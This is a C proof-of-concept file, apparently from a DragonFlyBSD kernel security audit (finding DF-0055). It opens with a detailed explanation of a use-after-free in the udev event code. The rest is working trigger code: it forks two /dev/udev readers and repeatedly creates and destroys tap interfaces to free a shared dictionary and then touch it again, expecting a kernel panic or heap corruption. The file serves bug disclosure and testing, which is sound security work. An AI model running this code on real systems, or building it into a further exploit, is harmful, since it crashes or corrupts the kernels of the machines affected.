DragonFlyBSD Kernel Audit
DF-0055 / udev_uaf.c
← back to finding ↓ download raw
/*
 * DF-0055 PoC - use-after-free of shared udev event dictionary in
 *              udev_event_externalize (multi-reader event replication).
 *
 * VERIFIED BUG MECHANISM (sys/kern/kern_udev.c on master DEV):
 *
 *  - udev_event_insert() (:501) enqueues an event with a freshly
 *    prop_dictionary_copy()'d dict (refcount=1) held in ev->ev.ev_dict (:512).
 *  - The udev queue replicates every event to ALL openers via a per-softc
 *    marker node inserted into the shared udev_evq TAILQ.
 *  - udev_dev_read() (:811) finds the next event after this reader's marker
 *    (skipping NULL-dict nodes), then calls udev_event_externalize() (:842).
 *  - udev_event_externalize() (:548) does:
 *        :566  prop_dictionary_set(dict, "evdict", ev->ev.ev_dict)
 *              -> prop_object_retain(ev_dict)  [dict refcount: 1->2]
 *        :571  prop_object_release(ev->ev.ev_dict)   [dict refcount: 2->1]
 *        :575  prop_object_release(dict)   (temp dict)
 *              -> dict destructor releases its child -> ev_dict refcount 1->0
 *              -> ev_dict is FREED.  ev->ev.ev_dict is NOT NULLed.
 *  - After reader 1 finishes, ev->ev.ev_dict is a dangling non-NULL pointer
 *    and the event is still on udev_evq (udev_clean_events_locked at :535
 *    stops at the trailing reader's marker, which is still before this event).
 *  - Reader 2's read finds the same event (dangling non-NULL ev_dict passes
 *    the :839 skip loop and the :540 predicate), calls udev_event_externalize
 *    again, which at :566 passes the dangling pointer to prop_dictionary_set
 *    -> prop_object_retain(freed) -> atomic_inc_32_nv on freed memory = UAF.
 *    prop_object.c:987-994.
 *
 * The sequence is DETERMINISTIC (the udev_lk serializes the two reads; the
 * only requirement is that reader 2's marker is still before the event when
 * reader 1 reads it, which is guaranteed if both readers initiate before the
 * event is generated). No tight race.
 *
 * Privilege: /dev/udev is 0600 root:wheel (kern_udev.c:1039-1041).
 *
 * Build (DragonFlyBSD):  cc -O2 -o udev_uaf udev_uaf.c
 * Run as root (disposable VM):
 *     ./udev_uaf
 *
 * Expected (bug present): kernel panic / fatal trap on the second reader's
 *   externalize (UAF write to freed proplib object), or slab/objcache
 *   corruption warnings then panic. On a non-INVARIANTS kernel the freed
 *   proplib object may be reused by the objcache and the atomic_inc lands on
 *   garbage; the guest then either faults immediately or corrupts the heap
 *   and panics shortly after.
 *
 * Expected (bug fixed): the program runs to completion, prints "no panic"
 *   after N iterations, and exits 0.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

/*
 * Reader child: open its own /dev/udev (own softc/marker), read events in a
 * loop, count them. Exits when the pipe is closed by the parent.
 */
static void
reader(int syncfd)
{
	char buf[16384];
	ssize_t n;
	int fd;
	unsigned long count = 0;

	fd = open("/dev/udev", O_RDWR);
	if (fd < 0) {
		perror("reader: open /dev/udev");
		_exit(2);
	}

	/* Tell parent we are open & ready. */
	close(syncfd);

	for (;;) {
		n = read(fd, buf, sizeof(buf));
		if (n < 0) {
			perror("reader: read");
			break;
		}
		if (n == 0)
			break;
		count++;
	}
	/* NOTREACHED on a panicking kernel */
	fprintf(stderr, "[reader pid %d] read %lu events\n", getpid(), count);
	_exit(0);
}

int
main(void)
{
	int syncpipe[2];
	pid_t r1, r2;
	int iters, status;
	char cmd[128];

	if (geteuid() != 0) {
		fprintf(stderr, "need root (uid 0) for /dev/udev access\n");
		return 1;
	}

	if (pipe(syncpipe) < 0) {
		perror("pipe");
		return 1;
	}

	fprintf(stderr,
	    "[*] DF-0055: udev_event_externalize shared-dict UAF trigger\n");
	fprintf(stderr,
	    "[*] forking two /dev/udev readers (two softcs/markers)...\n");

	r1 = fork();
	if (r1 < 0) { perror("fork"); return 1; }
	if (r1 == 0) {
		reader(syncpipe[0]);
		_exit(0);
	}

	r2 = fork();
	if (r2 < 0) { perror("fork"); return 1; }
	if (r2 == 0) {
		reader(syncpipe[0]);
		_exit(0);
	}

	/* Parent: wait for both readers to have opened /dev/udev. */
	close(syncpipe[0]);
	close(syncpipe[1]);

	/* Give the readers time to enter their blocking read() (which inserts
	 * their markers at TAILQ_HEAD and auto-initiates them). */
	usleep(300000);

	fprintf(stderr,
	    "[*] generating device attach/detach events (tap create/destroy)...\n");
	fprintf(stderr,
	    "[*] each event is externalized by reader #1 (frees shared dict),\n"
	    "    then by reader #2 (UAF: prop_object_retain on freed dict).\n");

	/*
	 * Generate many events. Each create+destroy pair produces 2 udev
	 * events; each event triggers the deterministic UAF on reader #2.
	 */
	for (iters = 0; iters < 80; iters++) {
		snprintf(cmd, sizeof(cmd),
		    "/sbin/ifconfig tap%d create 2>/dev/null", iters);
		system(cmd);
		snprintf(cmd, sizeof(cmd),
		    "/sbin/ifconfig tap%d destroy 2>/dev/null", iters);
		system(cmd);
		usleep(20000);
	}

	/* If we get here, the kernel did not panic from the UAF. Give the
	 * readers a moment to drain, then report. */
	usleep(500000);
	fprintf(stderr,
	    "[!] no panic after %d create/destroy cycles (%d udev events).\n",
	    iters, iters * 2);
	fprintf(stderr,
	    "[!] On a non-INVARIANTS kernel the freed dict may have been\n"
	    "    silently reused; check dmesg / boot.log for slab/objcache\n"
	    "    warnings or delayed corruption. Run with more iterations or\n"
	    "    an INVARIANTS kernel to force an immediate fault.\n");

	kill(r1, SIGTERM);
	kill(r2, SIGTERM);
	waitpid(r1, &status, 0);
	waitpid(r2, &status, 0);

	return 0;
}